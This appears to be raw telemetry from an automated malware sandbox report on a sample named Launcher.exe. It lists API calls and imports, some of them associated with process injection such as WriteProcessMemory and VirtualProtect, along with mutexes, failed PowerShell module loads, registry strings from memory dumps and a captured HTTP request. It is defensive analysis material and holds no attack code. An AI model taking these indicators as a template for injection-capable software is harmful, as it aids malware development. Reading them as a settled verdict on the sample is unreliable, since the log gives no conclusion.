"cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005932) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005932) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005932) "evbhxjyhj.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter Direct3DCreate9 (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter RtlSubscribeWnfStateChangeNotification (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter OpenAdapter (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter D3DKMTCloseAdapter (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter D3DKMTEnumAdapters2 (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter D3DKMTQueryAdapterInfo (UID: 00000000-00003132) "evbhxjyhj.exe" called "GetProcAddress" with a parameter NtUpdateWnfStateData (UID: 00000000-00003132)39:T3517,Found reference to API (Indicator: "RegCloseKey"; File: "Launcher.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "Launcher.exe") Found reference to API (Indicator: "GetUserNameW"; File: "Launcher.exe") Found reference to API (Indicator: "RegQueryValueExW"; File: "Launcher.exe") Found reference to API (Indicator: "DeleteObject"; File: "Launcher.exe") Found reference to API (Indicator: "DeleteDC"; File: "Launcher.exe") Found reference to API (Indicator: "CreateCompatibleDC"; File: "Launcher.exe") Found reference to API (Indicator: "VirtualProtect"; File: "Launcher.exe") Found reference to API (Indicator: "VirtualFree"; File: "Launcher.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "Launcher.exe") Found reference to API (Indicator: "FindClose"; File: "Launcher.exe") Found reference to API (Indicator: "LocalAlloc"; File: "Launcher.exe") Found reference to API (Indicator: "LocalFree"; File: "Launcher.exe") Found reference to API (Indicator: "HeapFree"; File: "Launcher.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "Launcher.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "Launcher.exe") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "Launcher.exe") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "Launcher.exe") Found reference to API (Indicator: "CompareStringOrdinal"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcatW"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcpynW"; File: "Launcher.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "Launcher.exe") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "Launcher.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "Launcher.exe") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "Launcher.exe") Found reference to API (Indicator: "Sleep"; File: "Launcher.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "Launcher.exe") Found reference to API (Indicator: "GetVersionExW"; File: "Launcher.exe") Found reference to API (Indicator: "SetEvent"; File: "Launcher.exe") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "Launcher.exe") Found reference to API (Indicator: "CreateProcessW"; File: "Launcher.exe") Found reference to API (Indicator: "CreateMutexA"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcpyA"; File: "Launcher.exe") Found reference to API (Indicator: "CopyFileW"; File: "Launcher.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "Launcher.exe") Found reference to API (Indicator: "DeleteFileW"; File: "Launcher.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "Launcher.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "Launcher.exe") Found reference to API (Indicator: "lstrlenA"; File: "Launcher.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcmpA"; File: "Launcher.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "Launcher.exe") Found reference to API (Indicator: "CreateProcessA"; File: "Launcher.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "Launcher.exe") Found reference to API (Indicator: "GetProcAddress"; File: "Launcher.exe") Found reference to API (Indicator: "OpenProcess"; File: "Launcher.exe") Found reference to API (Indicator: "CreateEventW"; File: "Launcher.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcatA"; File: "Launcher.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "Launcher.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "Launcher.exe") Found reference to API (Indicator: "CreateFileA"; File: "Launcher.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "Launcher.exe") Found reference to API (Indicator: "ExitProcess"; File: "Launcher.exe") Found reference to API (Indicator: "GetSystemTime"; File: "Launcher.exe") Found reference to API (Indicator: "GetTickCount"; File: "Launcher.exe") Found reference to API (Indicator: "GetTickCount64"; File: "Launcher.exe") Found reference to API (Indicator: "CloseHandle"; File: "Launcher.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "Launcher.exe") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "Launcher.exe") Found reference to API (Indicator: "WriteProcessMemory"; File: "Launcher.exe") Found reference to API (Indicator: "CreateThread"; File: "Launcher.exe") Found reference to API (Indicator: "lstrlenW"; File: "Launcher.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "Launcher.exe") Found reference to API (Indicator: "TerminateProcess"; File: "Launcher.exe") Found reference to API (Indicator: "GetLastError"; File: "Launcher.exe") Found reference to API (Indicator: "HeapAlloc"; File: "Launcher.exe") Found reference to API (Indicator: "RtlAddFunctionTable"; File: "Launcher.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcmpiW"; File: "Launcher.exe") Found reference to API (Indicator: "ResumeThread"; File: "Launcher.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "Launcher.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "Launcher.exe") Found reference to API (Indicator: "lstrcpynA"; File: "Launcher.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "Launcher.exe") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CompareStringOrdinal"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "RtlAddFunctionTable"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "lstrcatA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "lstrcatW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "lstrcpyA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "lstrcpynA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "lstrcpynW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00003132.00000000.153731.39444000.00000002.mdmp")3a:T90b,Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5964:304:WilStaging_02" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5964:304:WilStaging_02" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5964:120:WilError_03" Process Launcher.exe created mutex with name "SM0:5964:304:WilStaging_02" Process Launcher.exe created mutex with name "Local\SM0:5964:304:WilStaging_02" Process Launcher.exe created mutex with name "SM0:5964:120:WilError_03" Process DllHost.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5936:304:WilStaging_02" Process DllHost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5936:304:WilStaging_02" Process DllHost.exe created mutex with name "Local\SM0:5936:304:WilStaging_02" Process DllHost.exe created mutex with name "SM0:5936:120:WilError_03" Process DllHost.exe created mutex with name "SM0:5936:304:WilStaging_02" Process DllHost.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process DllHost.exe created mutex with name "Local\ZonesCacheCounterMutex" Process DllHost.exe created mutex with name "Local\SM0:5936:120:WilError_03" Process DllHost.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5936:120:WilError_03" Process DllHost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5936:120:WilError_03" Process DllHost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process DllHost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process Launcher.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5884:304:WilStaging_02" Process Launcher.exe created mutex with name "SM0:5884:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1548:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:1548:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6468:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:6468:120:WilError_03"3b:T1292,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]3c:T1c73,"Software\Classes\PackagedCom" in Source: 00000000-00005048.00000000.151645.70A30000.00000004.mdmp "stry\Machine\Software\Classes\WOW6432Node\CLSID\{0y" in Source: 00000000-00005048.00000000.151645.70A30000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005048.00000000.151645.70A30000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0y" in Source: 00000000-00005048.00000001.152785.70A30000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005048.00000001.152785.70A30000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005048.00000001.152785.70A30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005048.00000001.152785.72CB8000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000a" in Source: 00000000-00005048.00000001.152785.72FC1000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00005884.00000000.150152.C3070000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00005884.00000001.152071.C3070000.00000004.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005884.00000001.152071.C3070000.00000004.mdmp "\Machine\Software\Classes\C" in Source: 00000000-00005964.00000000.149964.70680000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0000033C-0000-0000-C000-000000000046}" in Source: 00000000-00005964.00000000.149964.70680000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{0000033C-0000-0000-C000-000000000046}" in Source: 00000000-00005964.00000000.149964.70680000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{0000032A-0000-0000-C000-000000000046}" in Source: 00000000-00005964.00000000.149964.70680000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006468.00000000.150310.57000000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006468.00000000.150310.71343000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006468.00000001.152229.34B2B000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006468.00000001.152229.34B2B000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006468.00000001.152229.34B2B000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006468.00000001.152229.34B2B000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006468.00000001.152229.34B2B000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006468.00000001.152229.34B2B000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006468.00000001.152229.57000000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006468.00000001.152229.712E0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006468.00000001.152229.712E0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006468.00000001.152229.712E0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006468.00000001.152229.71343000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006468.00000001.152229.714C0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006468.00000001.152229.714C0000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00006468.00000001.152229.714C0000.00000004.mdmp "\Registry\Machine\Software\C3" in Source: 00000000-00006468.00000001.152229.71650000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW64" in Source: 00000000-00006468.00000001.152229.71650000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00006468.00000001.152229.722D0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00006468.00000001.152229.722D0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006468.00000001.152229.722D0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006468.00000001.152229.722D0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006468.00000002.152247.57029000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006468.00000002.152247.712E2000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006468.00000002.152247.712E2000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006468.00000002.152247.712E2000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006468.00000002.152247.71343000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006468.00000002.152247.7150F000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node" in Source: 00000000-00006468.00000002.152247.715BB000.00000004.mdmp "\Registry\Machine\Software\C3" in Source: 00000000-00006468.00000002.152247.71652000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW64" in Source: 00000000-00006468.00000002.152247.71652000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00006468.00000002.152247.722E0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00006468.00000002.152247.722E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00006468.00000002.152247.722E0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006468.00000002.152247.722E0000.00000004.mdmp3d:T2e27,"GET /favicon?url=straitstimes.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2 Host: services.bingapis.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors Sec-Fetch-Storage-Access: active Referer: https://ntp.msn.com/ Sec-Fetch-Site: cross-site Accept-Language: en-US,en;q=0.9 Priority: i Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: image" Response ==> HTTP/2 